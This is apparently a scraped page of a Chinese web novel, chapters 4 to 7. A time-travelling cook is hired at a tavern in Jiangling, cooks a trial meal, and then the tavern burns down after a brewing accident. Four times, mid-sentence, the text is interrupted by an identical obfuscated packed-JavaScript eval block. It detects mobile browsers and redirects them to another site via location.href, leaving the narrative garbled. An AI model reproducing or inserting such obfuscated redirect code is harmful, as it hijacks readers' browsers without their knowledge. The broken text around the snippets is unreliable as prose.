甚至在这都能看到不少外邦人,红头发绿眼睛的英格兰贵族小姐,蓝眼睛白皮肤的大长腿的普鲁士商人,他们身着繁复蕾丝点缀的服饰,大大的蓬蓬裙裙摆在这古色古香的江陵街道上格外显眼,但无人在意,仿佛是最平常不过的事情。 程六水托着一张有点消瘦的圆圆脸,啃着包袱里最后一块烧饼,就着路边好心大娘给的白水吃了下去。她掩饰不住眼睛里的震惊,倒不是她没见过外国人,只是这和她印象中的古代太不一样了。 好心的钱大娘正在一旁手速极快地包着馄饨,还心疼地看着坐在那里看热闹的程六水,这小姑娘瘦得一阵风都能吹走了,半旧的浅绿麻裙衬得她格外弱小,白得透明的脸上没什么血色,一看就是饥一顿饱一顿的。 钱大娘也有个女儿,在前面的刘记绸缎庄做绣娘,风吹不着雨淋不着工钱还给得不少,是个顶好的去处,女儿见天乐呵呵地没心事,哪像这小姑娘嘴上笑着,可那眉头还是紧紧的,天可怜见的。 “姑娘吃那烧饼噎得慌。”钱大娘说着就给程六水端了碗小馄饨来,这馄饨不是北方的大馄饨,个头小皮薄得很,吃的就是个鲜劲,面汤里在撒上些个小虾米,勾得程六水眼睛都直了。 不是烧饼!这不是烧饼!程六水一个劲地咽口水,激动的心颤抖的手,就差要端着碗吃起来的时候,她的理智终于占据了上风,兜里总共还有八文钱,要是买烧饼那就还能吃个两三天,但要是吃碗小馄饨,那可真是吃了上顿没下顿了。 “大娘不用,我一点都不馋。”程六水腼腆羞涩地往边上挪了挪,但眼睛是骗不了人的,尤其她长了双葡萄般大的圆眼睛,啥都藏不住。 “哎呦吃吧,今天大娘包多了,不吃可不浪费了嘛。”钱大娘瞧着程六水的小模样,心里跟在油锅里翻个一样,正反都滋啦滋啦的,这小姑娘的爹娘要是见了她这样子,不晓得得多难受。 “大娘你真好!”程六水眼睛都亮了,用那小勺子一口一个满嘴喷香,这馄饨包得极好,自己做的晶莹剔透的薄皮裹住了打得细细的肉糜,这肉糜也是用了心思的,除了盐,还加了胡椒粉淀粉,吃起来了紧实弹牙,再配上热乎乎的馄饨汤,虾米的鲜味被一下子激发了出来,吃得人心里暖暖的。 吃得酒足饭饱,程六水又搭起话来,“大娘,你知道这附近哪里招工吗?我会做饭,不怕苦不怕累的,最好能包吃包住。” 钱大娘停下了手里的活计,仔细回想了下,世道这几年好了许多,江陵招工的地方多得很,但她是打心眼里心疼这小姑娘,可得好好想想哪里活少钱多。 忽然,钱大娘拍了下脑袋,是了就是那! 程六水被钱大娘一声清脆响亮的拍脑门声吓了一跳,急忙道,“大娘你还好吧?要是没想到也没关系的,我再四处找找。” “不用不用,我是想到了个好去处,你沿着四福路朝北走,在第三个岔路口右拐,再朝东走个半里地,看见个河沟子,过了河沟子就到了八宝路上,八宝路上还有个大集市,沿着河边一路卖饮子的卖米糕的还有卖果子的应有尽有啊。。。”钱大娘一时间说得口干舌燥的,但还能再说一会儿。 “大娘,倒也不用这么详细,您就告诉我店叫啥名,我自个儿去找找就行。”程六水扶着大娘那高举指路的手说道。 “啊,叫十全酒楼,姑娘我和你说,那酒楼可是个好地方啊,前几天就挂出来招工的告示了,你去试试准没错。”钱大娘这才道出了关键。 “成啊,大娘我这就去,别去晚了人家招满了。”程六水赶紧起身就要走,却又回过头来朝着钱大娘摆了摆手,“大娘,等我当上厨子了,给您做一桌硬菜!” “行啊!大娘等着你的硬菜,可别把大娘的牙硌掉了。”钱大娘笑得合不拢嘴,远远看着小姑娘离去,这年头能帮一把就帮一把吧,谁的日子都是这样过来的。 程六水打听了好几处,终于是七拐八拐来到了十全酒楼前,好家伙这匾额上“十全酒楼”四个大字凌厉非常,定是个书法大家写的,门脸气派得很,二层楼临街而起。 黄花梨木的大柱子左一根右一根,架起了这酒楼的气势,大大的招工告示贴在了大柱子上,“诚聘厨子一名,待遇优厚,速来。” 这招工告示写得还挺简单,程六水暗自思量了一番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405771|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这么大个酒楼厨子应该不少,看来找得是个帮厨,帮厨也行啊,总比饿肚子强。 程六水小心翼翼地探头进去,左顾右盼一番,两弯细眉就打成了结,这就是大娘说的好去处?怎么饭点刚过,就一个食客都没有了?不回是要黄摊了吧? 空荡荡的一楼大厅摆着十几张桌子板凳,一看也是用料不斐的木材,“有人吗?这里还招厨子吗?”程六水试探性地出声问了两句,不巧这里空旷得都能有回声了。 她还是不死心地又朝里走了几步,些许紧张地挎着碎花小包袱张望着。 “干什么的?”头顶传来了一声吆喝,程六水这才抬头看去,一个身形魁梧的男人朝着程六水问道。 程六水的大眼睛吓得都没敢眨眼,这人是不是天天举铁啊,怎么哪哪都是肌肉块啊,她颤颤巍巍道,“我是来应聘厨子的,应该。。。还缺人吧?” “厨子?”魁梧男士眉头一皱,他自己不就是厨子吗?怎么又找了个厨子? “招招招!”从后院跑来了个姑娘,约莫十七八的样子,跑得上气不接下气的,不知道还以为是从河对岸赶回来的呢。 “马陶陶你说清楚?招什么厨子?我不就是厨子吗?”魁梧男士立起眼珠子,三两步就从楼梯上下来了。 “乔四方,你搞搞清楚好伐,你已经半个月没开伙了,只能去外面买来吃。”马陶陶气喘吁吁地反驳道,她压根不惧比自己高出一头的乔四方,梗着脖子气势汹汹地看向对方。 程六水悄咪咪地往后退了几步,可手一不小心就摸到了那个还剩九文钱的荷包,她不得不英勇就义般又上前说道,“我不做厨子也行,做帮厨切墩洗碗的都行。” 她明明怕得直想跑路,但还是尴尬又不失礼貌地咧开嘴笑了,就是笑比哭还难看,“那个。。。是不是包吃包住啊?” “放心!绝对包吃包住,我们后院有好几间空房呢,够你住的了。”马陶陶不再理睬魁梧的乔四方,亲热地拉起程六水就介绍起了里里外外。 “我们酒楼原先有一大厨,可巧给贵人做了次菜,就被贵人看重带走了。我们其余几个伙计都进不去厨房,勉勉强强做个面汤都能把后厨烧着了,也就那乔四方不至于炸厨房,可味道着实是不怎么样。”马陶陶边说边摇头,撇嘴都撇到姥姥家去了,还怕乔四方瞧见了,别过头也要撇嘴。 “那这位乔四方是做什么的呀?”程六水好奇道。 “他是账房先生啊,成天掉钱眼子里,说做厨子还得再给他份工钱,巴不得白天炒菜晚上做账呢。”马陶陶回道。 “真是勤劳致富啊。”程六水不禁点了点头,这都是我辈之楷模,卷王中的卷王,就是卷的质量不咋地,还不如不卷呢。 “算了不提他了,你看看这还满意吧,什么时候能开工?”马陶陶拉着程六水前厅后院,一楼二楼转了一圈,紧接着问道。 “哈?”程六水小小的脑袋大大的问号,古代应聘都没有面试的吗?不会是拐卖团伙吧?她看那个叫乔四方的,就很像绑匪。 5. 第 5 章 “哎呀是我不好,还没和你说说待遇呢,我们这包吃包住,厨子一个月二两银钱,凡是遇上年节啊再加一两银子做贴补,一年有个二十天休假,你家要是不在江陵啊,还能再添十天探亲假。”马陶陶稀松平常地说道。 “二两?”程六水心里的小算盘都快打飞了,一个烧饼一文钱,一两银子一千文钱,二两银子那就是两千文钱,两千个烧饼啊!一个月的工钱够她吃两年的了。 “嫌少?要是你想涨工钱,等东家回来,你同他去讲,东家很好说话的。”马陶陶补充道。 “不少不少,可这二两银子是外面干了许多年大厨的工钱,我才这岁数你们就给我这么些钱,该不会有什么其他要求吧?”程六水赶忙摆手,随后十分委婉地问道。 “要求?我们没什么要求啊,做饭做得比乔四方好吃就行。”马陶陶不明所以道。 “你能不能不什么时候都拿我比来比去的,我承认我做饭是不行,但做账行啊。”乔四方不知道从哪冒出来的,中气十足的声音从程六水身后传来。 震得程六水耳膜都要聋了,这哪里是个算账的,我看他就是个要命的。 程六水实在是忍不住了,多年的打工讨生活经验,十分不能容许这样不专业的行为出现。 “你们两个闭上小嘴巴听我说,首先你们作为招工的酒楼,不能谁来应聘都录取,要先考量对方的厨艺还有经验,其次再根据厨艺和经验决定是否录用以及薪资几何。最后请把你们的营业执照给我拿出来,不然我怀疑你们要拐卖我!” 程六水一股脑地把憋在心里的话说了出来,边说还边活动着双腿,随时做好百米冲刺逃离黑店的打算。 马陶陶和乔四方两人面面相觑了半刻,马陶陶终于开口道,“营业执照是啥?” 程六水长舒的这口气还没喘完,就又差点背过气去,“就是市籍市券,官府给商户发的凭证。” “有的有的,我们都有,大妹子你可要相信我们,我们这可不是黑店。”乔四方翻箱倒柜了半天,才找到个都卷边的文书。 程六水继续保持微笑,黑店从来不说自己是黑店,就像她看上去是个厨子,其实是个身负血海深仇的厨子。 她仔仔细细查验了一番,文书破是破了点,但官府印信还是齐全的,再一看文书时间,居然是五年前颁发的,这酒楼都这样了,还能撑五年呢? “不是黑店就好,我方才说话也有些急了,你们莫要放在心上。刚才说到东家?是要等东家回来拍板录用吗?”程六水又从炮仗脾气变成了努力找工作的身无分文人,不对,还有九文钱。 “那倒是不用,东家约摸着还得有个三四天才能回来,现下我们几个就能拍板,要不你做几个菜给我们尝尝?”马陶紧接着说道。 “得嘞,您就啨好吧。”程六水放下小包袱,直接进了后厨。 待到后厨声音噼里啪啦地响起,马陶陶眸色渐深,一改方才没心没肺的模样,清脆的声音逐渐低沉了起来,乍一听就不像是个好人,“她能留下来吧?” 乔四方不知从哪弄来了个硬果子,随手一掰就递给了马陶陶,隆起的臂膀骇人得很,果子鲜红的汁水顺着有力的指节流了下来,像极了某种铁锈般的液体,“有的是办法让她留下来。”他不以为意道。 程六水全然不知前厅发生了什么,她一走进后厨就发现这酒楼算是相当的阔气了,各色肉类应有尽有连牛肉挂了好几条,蔬菜瓜果堆了一堆,就是没人收拾,这里还有不少外邦传过来的食材,西红柿土豆子还有花生米。 厨子跑了酒楼歇业,居然还每天供应这么些食材,一贯精打细算的程六水不甚理解但表示尊重,只能说这酒楼东家还真是家大业大。 程六水掐着腰,若有所思地在各色食材面前流连忘返,有时候选择太多也是会愁坏人的。 现下这时辰,是该吃夕食了,酒楼里总共就俩人,不算上她三个人,做个四菜一汤绰绰有余。 她来到一条子牛肉面前,这牛肉新鲜得很,是牛腹那松软可口的肌肉,暗红紧实,纹理清晰,油脂不多但白得恰到好处,这么好的牛腩炖汤最适宜了。 程六水穿来了这么几日,倒是有些瞧出来了,这个朝代一改重农抑商的道道,商业兴盛得很,自然了那地里耕地的老黄牛们,有些英年早逝的牛儿也允许在市场上买卖了,真是令人大饱口福啊。 菜筐里的西红柿红嫩嫩脆生生的,在这里西红柿还算个稀罕物,是前几年才从苏丹国传过来的,刚开始人们还不敢吃,有那傻大胆地饿极了,尝了一口便停不下来了,酸甜开胃汁水十足,生吃或用来做凉菜正好。 至于用它炖汤,现下还少有人这么做,毕竟接受新鲜事物还是有个过程的。 大块牛肉用井水淘洗几遍将血水洗透,切块冷水下锅焯煮干净,熟透的沙瓤西红柿煮开剥皮,切成小块。 大铁锅烧得滚烫,菜籽油均匀地撒在锅内直冒烟,这就是火候够了,小葱生姜往里那么一放,后厨到处都是浓郁的葱香味,牛肉块迅速倒进锅中翻炒着,焦香的油脂煸了出来,同葱香菜籽油融合。 切得碎碎的西红柿丁倒入了锅中,很快软乎乎地成了一锅西红柿浓汤,咕噜噜的浓汤里不时就看见大块的牛腩在翻滚着,一点点从硬邦邦不听话的硬牛,变成了入口即化的乖巧肉肉。 程六水闻着这扑面而来的酸甜肉香,仍不放过这锅汤,随后又放了香叶八角白果进去,香料的味道逐渐渗透进去,不夺牛肉馨香,但却是画龙点睛之笔。 锅盖盖起炖煮着,程六水又来到了案板上,今晨刚从清水河里打捞来的鲈鱼很是新鲜,水灵灵地在后厨大缸子里游来游去,这鱼生得十分招人喜欢,肉质鲜美细腻不说,刺还特别少,清蒸红烧都可。 程六水三下五除二就将两条鲈鱼开膛破肚收拾利索,侧切几刀入骨,方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405772|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便入味,再用盐粒揉搓个遍洗净,这法子祛除腥气是再好不过的了。 鱼肚子里自然还要塞上姜片葱段,又在蒸盘底部铺上些姜片,这是怕蒸的过程水滴淹了鱼肉,那可就不好吃了。 蒸的间隙,程六水又开始熬制料汁,这年头可没有现代批量生产的蒸鱼豉油,但也好办,自己熬个料汁不必蒸鱼豉油差,三四勺清酱,小半勺蔗糖,再来上些稀罕的蚝汁,最后再来上点胡菜提味,浇上开水熬煮个半柱香就成了。 此时,那鲈鱼正正好好蒸熟了,在那鱼肚上铺上写青翠葱丝鲜红辣椒丝,淋上刚刚调好的料汁,香味已经激发出了不少了,但这还不够再来上一勺热油,顿时鲜美鱼香蔓延开来。 一旁陶盆里的腊肉也泡好了,今年最后一茬春笋咔嚓嚓切成细丝,用沸水滚过两遍,涩味就没了,辣椒胡蒜剁开,放进油锅里大火翻炒,油汪汪的腊肉咸香异常,笋丝鲜甜脆嫩,这菜配上白米饭,能吃上个两大碗。 最后收尾的两道菜极为简单,醋溜土豆丝,锅气十足炒得火候刚刚好,切得极细还脆生生酸溜溜的,开胃得很。另一道则是蚝汁生菜,胡蒜用得多多的,蚝汁熬得香香的,生菜也是个外来品种,中原吃得少,没想到在这酒楼里还能见着。 程六水会做菜也喜欢做菜,她美滋滋地将四菜一汤出锅摆盘,再盛出几碗白米饭来,完美! 而前厅的两人就没那么惬意了,他俩正在那抓耳挠腮着,乔四方翻着账本,越看眉头越皱,“账本账本,一店之本,这账本是没法看了。” 马陶陶则翻出了一张皱皱巴巴的纸,上面没几个字,但哪个字都很让人难过,“从今以后自负盈亏,先招个厨子。” “别看了,怎么看都是个亏。”马陶陶深深叹了口气。 “以后我们要过上食不果腹衣不蔽体的生活了吗?”乔四方幽怨地用账本糊住了自己的脸,八尺高的壮汉差点就要泪流满面了,可鼻子总觉得哪里痒痒的。 饭菜的香味顺着账本的间隙强势闯进了鼻腔,好香真的好香,好久没闻过这么香的饭味了。 等他把脸上的账本扔到一边时,马陶陶早就不在这了,她屁颠颠地跑到了饭桌前,筷子拿得飞快,小狗一样的鼻子闻来闻去,“我可以吃吗!这些我都能吃吗!” “吃吧我亲爱的评委大人们。”程六水乖巧地坐在饭桌对面,看着两个人穷凶极恶地干饭。 “天爷啊!这个牛肉怎么会这么嫩,一抿就化了,这里面居然是番茄吗!太搭了吧!”马陶陶边吃边惊叹着。 而旁边聪明的乔四方就不说话了,他本来手速就快,没想到吃鱼更快,尝了一口鱼肚皮就受不了了,直接整条吃起,眨眼的功夫,一条鱼就只剩条骨头了。 “哇这个好好吃哇那个好好吃!”马陶陶不甘示弱,将盘子里另外一条鱼收入腹中。 程六水欣慰地看着这俩人,真好啊一个哑巴,一个复读机。 6. 第 6 章 “咳咳!”程六水看两人吃得差不多了,这才提醒道。 “不知两位可否满意啊?”程六水接着笑盈盈地说道,话音略微有些许急切,可神色倒还是很稳。 “满意满意!今天就上岗,明日酒楼就重新开门做生意。”马陶陶恨不得赶紧留住这么位大厨,一来她做饭真的是太好吃了,二来东家飞鸽传书的任务也终于是有了着落,总算是能交差了。 程六水一听这话眼睛亮得吓人,她摸了摸自己口袋里的九文钱,这回心不慌手不抖了。随后她急三火四地转个身就从后厨端来了一碗温热的饭菜,原来是提前就在锅里煨着的,只待这俩人点了头,直接猛猛开吃。 啊这就是肉的味道吗?已经好久没吃到过了,足足有五天零六个时辰,鱼肉怎么会这么嫩,果然古代没有经过污染的鱼鱼就是香,真想再抓几条回来烤着吃炖着吃煮着吃。 面黄肌瘦的程六水,吃得很快但吃香还是很斯文的,这顿饭她吃得很安心,不为别的,只为了终于能在这个陌生的朝代有了一个小小落脚的地方。 有落脚的地方很重要,即使只是一张床榻,一床被褥,但这是属于她的。能让躺在上面的她,不至于担心随时被人驱赶,也无需害怕什么时候就得过上风餐露宿的生活。 程六水再次认真打量起这家酒楼,一个时辰前,她还害怕这里是个混乱的黑店,挑挑拣拣地看哪里都不好。 前厅十几张桌子空无一人,一看就是要倒闭了,二楼雅间大门紧闭,不知有什么勾当,后院倒是大,四五间房里不会都是拐卖的妇女儿童吧! 但现下就完全不一样了,不错不错,市籍市券齐全不是个黑店,那桌子板凳还有做工精巧雕着花的楼梯都是黄花梨的,一看就是家底子厚的东家。 二楼雅间布置地那可是相当不错,轩窗临街二开,格外雅致,还能当做客房,真是一举多得。 尤其是后院才是真的好,四五间房里总有一间是她的,她刚才都是大约摸瞅了瞅,屋子不大但麻雀虽小五脏俱全,老榆木的架子床多实在啊。程六水在二十一世纪只能住上复合板的床架子,谁曾想来了回古代,都住上实木床了。 “六水,你就住在这第二间吧,我在第一间住,有什么事招呼我一声就行。酒楼是巳时开张,新鲜的蔬菜瓜果鲜肉都由隔壁街的宋老二来送,他每日皆是辰时三刻到的,明日你来迎就行。 至于采买的银钱,是由乔四方每月结清的,你不必管这些事。我是这酒楼的跑堂,以后有事招呼。”马陶陶捧着一大床晒好的被子,就领着程六水进了后院的第二间房。 “好嘞,咱这酒楼就我们三个人吗?”程六水接过被子扔到了榆木床上,将自己的碎花小包袱放到了桌子上。 “东家前些日子出外办事去了,左不过这三五日就回来了,除了我与四方,还有专门酿酒的师傅杜少仲,他最近在研究新的酒种,天天待在酒窖里,等他出来了,你们见见。至于杂役,我们这之前雇的都是散工,但这散工一天干一天不干的,属实不太妥当,也正准备招人呢。”马陶陶素来机灵嘴快,天生商人的材料,几句话就将酒楼情况说的七七八八了。 程六水听后,愈加放下心来,“行,那我先收拾收拾,明日就开工。” 夜色如水,淅淅沥沥的雨声拍打着窗檐,程六水侧卧在松软的织麻枕头上,眉宇渐渐舒展开来,紧紧抱着被子的一角不放手,小嘴嘟嘟囔囔地说着些梦话,都是些回锅肉锅包肉之类的。 忽然天边一道惊雷划过,闪电随之而来,响彻整个大地,给程六水吓得浑身一激灵,下意识瑟缩成了一团,消瘦的手臂熟练地放在脑袋前。 又一声巨响,这才打破了她似真似假的梦境,程六水清醒了过来,瞧着被风刮开的窗户,点亮了根蜡烛便要起身关窗。 一场暴雨令这江陵骤然变回了初春,冷风算不上刺骨,但吹在身上仍是凉得很,她又转过头裹紧了被子,嘚嘚瑟瑟地顶着风走向窗前。 窗前竟然出现了个人影,在晃晃悠悠的烛光下映成了个巨人,那影子跑得飞快,一边跑一边大声喊道,“快蹽啊!!!” 程六水睁大了双眼,大脑飞速地运转着,几天内连续穿越,跳崖再加上跑路的经历,令她本能地吹灭了手中的蜡烛并且将它扔到了窗外的雨地里。 她迅速拍开了马陶陶房间的门,但一切都为时已晚了,大地开始地动山摇,一股地底忍耐多时到了极致的气流冲破了地表,四五丈高的酒浪将小院的一切冲垮了,空气中弥漫着几乎化不开的酒味,那酒雾轻而易举地落在了后厨。 一开始只是一根柴火燃烧了起来,随后就是整个灶台,灶台上的菜油加剧了这滚滚火浪,黄花梨木的两层小楼就在大火中熊熊燃烧着。 “走水了走水了!”打更的赵老大,临近街坊的火夫赶紧推来了水车,水龙与火浪谁也饶不了谁,还有那地底被翻出的几百坛好酒来凑热闹,壮足大火的威势,遥远天际还轰隆隆地打着连绵不断的巨雷。 魁梧的乔四方顶在了火夫们的前面,牛一样的力气压弄着水箱不带停歇的,大大的铜管里水流喷涌而出。 而方才大喊“快蹽啊”的男人,提溜着水桶一个劲地泼着大火,可惜这人跑两步就气喘吁吁的,还差点摔在了雨地里。 “呜呜呜老天爷啊!救救我吧,我不想在这儿干了!”马陶陶脸上黑一块灰一块的,大雨浇湿了她的发丝,裹着被子的她嚎啕大哭着,鼻涕一把泪一把的好不凄惨。 程六水只能挺直了腰板,撑起单薄的肩膀头给崩溃了的马陶陶靠着。她任由豆大的雨滴砸向自己的眼睫,仍要执拗地抬头望向漆黑得都要发紫成茄子的天空。 她止不住地发抖,苍白的脸上没有一丝血色,被钢筋水泥砸死穿越的时候程六水没哭,在万家帮被威胁去喂狼的时候程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405773|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六水也没哭,即使是口袋里只剩几个铜板,马上就要在陌生的朝代流落街头了她也没哭。 可现在程六水的眼泪止不住地流了下来,她没有抽噎没有呐喊,只是无声地放任自己的泪水混着雨水砸向了泥地里。 为什么呀?她都有自己的小被褥了,是晒过的棉花味道,暖洋洋的太阳精心烘过的,可现在她的被褥湿漉漉的,还溅上了泥点子。 程六水不知道还会不会再有这一床被褥了,就像她不知道这场大火什么时候能够燃尽,燃尽的不止大火,还有她今日刚刚分到的老榆木床。 程六水早就认命了,没有家没有关系,没有自己的房子也没有关系,只要有一张床就好,一张可以让她光明正大平平整整躺上去的床,让她睡几个时辰就可以起来讨生活的床。 可惜,现在就连这张床也没有了。 雨过天晴,青草的气息沁人心脾,大火早已无影无踪,只留下焦黑的木炭,酒楼被烧得就剩了个架子,来救火的众人散去了,独留几个倒霉蛋。 “完了完了,我是不是要死了?”身着破破烂烂衣衫的杜少仲,一张脸惊恐万分,大火没把他吓死,现在火灭了倒是要被吓死了。 乔四方好歹是经历过大场面的,他看着被烧成灰的账本,摇了摇头道“杜大少爷,除非你现在能平地起高楼,不然按照东家的脚程,你也就这一两天的活头吧。” “那个?打扰一下,这位是?”程六水将那自己的被子晾在了树杈上,脸上早已不见了大火里的眼泪汪汪,圆圆的大眼睛微微泛红,好在笑脸仍在。 “他叫杜少仲,酿酒的,酿酒把酒楼烧了。她叫程六水,做菜的,刚做了一顿菜酒楼就被烧了。”马陶陶生无可恋地瘫坐在地上,耷拉着眼皮死气沉沉地说道。 程六水安慰地摸了摸陶陶毛茸茸的头顶道,“谢谢你的总结,简单到位。” “我们这酒楼还能开吗?”程六水面露难色接着道。 她的碎花小包袱虽然被丢在了火海里,但余下的都被她贴身带着了,自然还有最为重要的八枚铜板。 程六水想,八文钱买八个烧饼,省着点一天吃一个,还能撑八天,八天足够她在这找到份供吃供住的工作了吧,只希望这次别有什么大火地震的! 她心下想着这些,差点就要把告辞的话说出口了,得先有酒楼再有厨子,酒楼烧了,她这个厨子就没什么用处了,就算有本钱再开张,那也是一两个月以后的事了,没人会傻到养个没用的厨子一两个月的。 “开。”忽然一声清冷的声音从身后传来,这声音似乎很远但却异常清晰。 程六水转过身去瞧,遥遥一望,有一人从河对岸走来,晨间雾气笼罩在他的身上,染湿了他的发梢,却无碍于遗世独立的气质。 “快蹽啊!”本来还是软脚虾的杜少仲吓得如同老鼠见了猫,跑出了生死时速的世界冠军即视感。 7. 第 7 章 有的人死了却仿佛活着,有的人活着却还不如死了呢,比如现在在废墟里乱窜的杜少仲。 程六水亲眼目睹了,人类的极限是如何被激发出来的,上窜下跳宛如狒狒的杜少仲挥舞着他灰突突的绸衫袖子,破烂的袖口烧成了月牙形状。 二层楼的顶梁柱还将将伫立着,杜少仲同手同脚地爬着柱子,爬到一半是上也上不去下也下不来,双手还死死抱着不撒开,一阵风吹过,那黑黢黢的黄花梨柱子摇摇晃晃,东倒倒西歪歪。 杜少仲吓得手脚都是软的,好好一张俊脸惊恐地跟个胆小的麻雀般,“我真不是故意的!我那酒真是好酒啊,我挑了江陵最好的麦子,都发芽了炒过几遍,又加蔗糖煮,就放在那缸子里酿着,前几日我打开个小缸子一瞧,那酒色清亮的,顶上头还有泡泡呢。哪能想到,就这么几天,它说炸就炸了。” 带泡泡的小麦果汁?好熟悉的果汁哦,程六水忍不住开始神游,要是不炸的话,夏天那冰镇着,再配点自己做的老虎菜,麻辣鸭脖子还有椒盐花生米,一定很不错。 想着想着,程六水忽然觉得周遭安静得可怕,她看向将杜少仲吓得离了歪斜的男人。 程六水没什么见识,只知道这人生得确实好,眉宇间如云雾缭绕般清俊,偏又有张好似刀剑雕刻过的锋利脸庞,长身而立一袭水墨白衫,尚未开口便知是高不可攀的山巅云。 他只是静静地看着杜少仲,莫说是气愤责骂,就连半分不耐都没有,好似没听见耳边的喋喋不休,全都当做是穿堂风了。 只是指尖微微动了下,就这一下,站在一旁看热闹的乔四方终于动了,“嗖”一道影子就来到了这人面前道,“东家,少仲只是……只是失误。” “她是谁?”被称为东家的张清寒一双星目转向了程六水。 “她是我们招的厨子程六水,做饭老好吃了!”乔四方赶紧道,心想能把话题岔得有多远就多远。 “东家好,我叫程六水。” “太瘦了,以后多吃点饭。”张清寒仍旧面无表情地开口道,随后踏进了废墟一般的酒楼,只不过在无人察觉的时候,指尖力道微动,背后就听见一声,“啊!救命啊!” “啪叽”一声,杜少仲还是不幸地掉了下来,屁股差点摔成八瓣。 程六水乖得像鹌鹑一样,缩着身子等待聆听东家的教诲,听话听音锣鼓听声,她似乎不用重新找工作了,还能在这酒楼接着干。 而且她好歹也是在现代社会摸爬滚打出来的,这位东家一看就是气质不凡,穿着打扮卓尔不群,年岁大约摸也就二十出头。 不是创一代就是富二代,总之家底应该有不老少,重建个酒楼应该不在话下,程六水将心放到了肚子里。 “四方,去找临安巷的铁掌柜,酒楼重建一月内完工。”张清寒不知从哪变出来的银票,随手就递给了乔四方,一副视金钱如粪土的模样。 “陶陶你带着六水去城东客栈开几间房,这一月我们就住在哪里。”张清寒接着开口道。 一瞬间,程六水眼睛亮得像灯泡,什么是好东家啊,人帅钱多事还少的就是好东家!苍天有眼啊,兜兜转转穿越了好几个世纪,让她在这找到了好老板啊。 而马陶陶一反常态地没有接话,怒目圆睁了起来,她生就一张讨人喜欢的鹅蛋脸,如今这么一生气,反而颇具喜感。 “老子不干了!!!老子要回家吃香的喝辣的,穿金的戴银的!”马陶陶惊天一吼,吓得隔壁狗都不叫了。 程六水在一旁,自己的耳膜马上就要炸了,说好的情绪稳定都去哪了?她想上前安慰已经崩溃的陶陶,可毕竟交浅言深不好,只能拍了拍陶陶的背。 张清寒抬眼瞅了眼哭得泪眼婆娑的马陶陶,没忍住还是撇了撇嘴,又抬头望了望已经烧出窟窿的屋顶,心里嘀咕着,这天真蓝,可惜没有六白山的天蓝。 实在忍不住这魔音穿耳,他不得不回过神提醒道,“你哥哥把你押在我这,他不来,你就走不了。” “我没有那个哥哥,他不是我哥哥!”马陶陶听完这话,更是崩溃了,整个人开始坐在地上摔摔打打着,一不小心还踹了摔在地上趴着的杜少仲。 “六水你去城东客栈订房吧,顺便把陶陶带走,要哭也去那哭去。”张清寒的声线清朗似月,可惜半点起伏都没有。 “好的,保证完成任务。”程六水如同一台刚刚上了发条的机器,效率杠杠的,柔弱到风吹就能倒的身躯一个猛子就拉起了地上坐着的马陶陶,朝着城东客栈走去。 马陶陶则变成了个机器人般,连反抗都不会了,双目无神地跟着程六水在大街上疯疯癫癫地跑着。 一炷香过去了,程六水兴致勃勃地朝着城东前进。 两柱香过去了,程六水开始分不清东南西北了。 三炷香过去了,程六水彻底迷失在偌大的江陵城里,而她身后还跟着个生无可恋的马陶陶。 两个人被烟熏得黑黢黢的,衣服也东破一块西破一块的,程六水坐在大街上气喘吁吁地捡了根大叶子扇风,这天愈发热了,过两天就是立夏了。 “哎呦喂,这个天可怜见的。”一打扮很是阔气的太太撩开轿帘,心里不是滋味地打发着丫鬟来施舍点钱。 “你们俩是哪来的?这是我家太太给的,快去吃点东西吧。”丫鬟来到程六水跟前,将那一吊钱就放在了她俩跟前。 程六水一时间没反应过来,只顾着回答问题了,“我们是十全酒楼的。” 那阔气太太若有所思了下,似乎忆起了什么,轿子并没停留多久,摇摇晃晃地就朝着内城而去了。 “夫人!夫人停一下,我们不是讨饭的。”程六水赶忙追上去想解释,可跑了两步就开始喘了,转眼间大太阳都快到头顶了,空空的肚皮里适时地咕噜的两声。 “又叫了,太惨了。”程六水眼瞅着追不少,臊眉搭眼地又坐了回去,捧着手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405774|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的一吊钱看来看去,自从来了这她还没见过这么多钱。 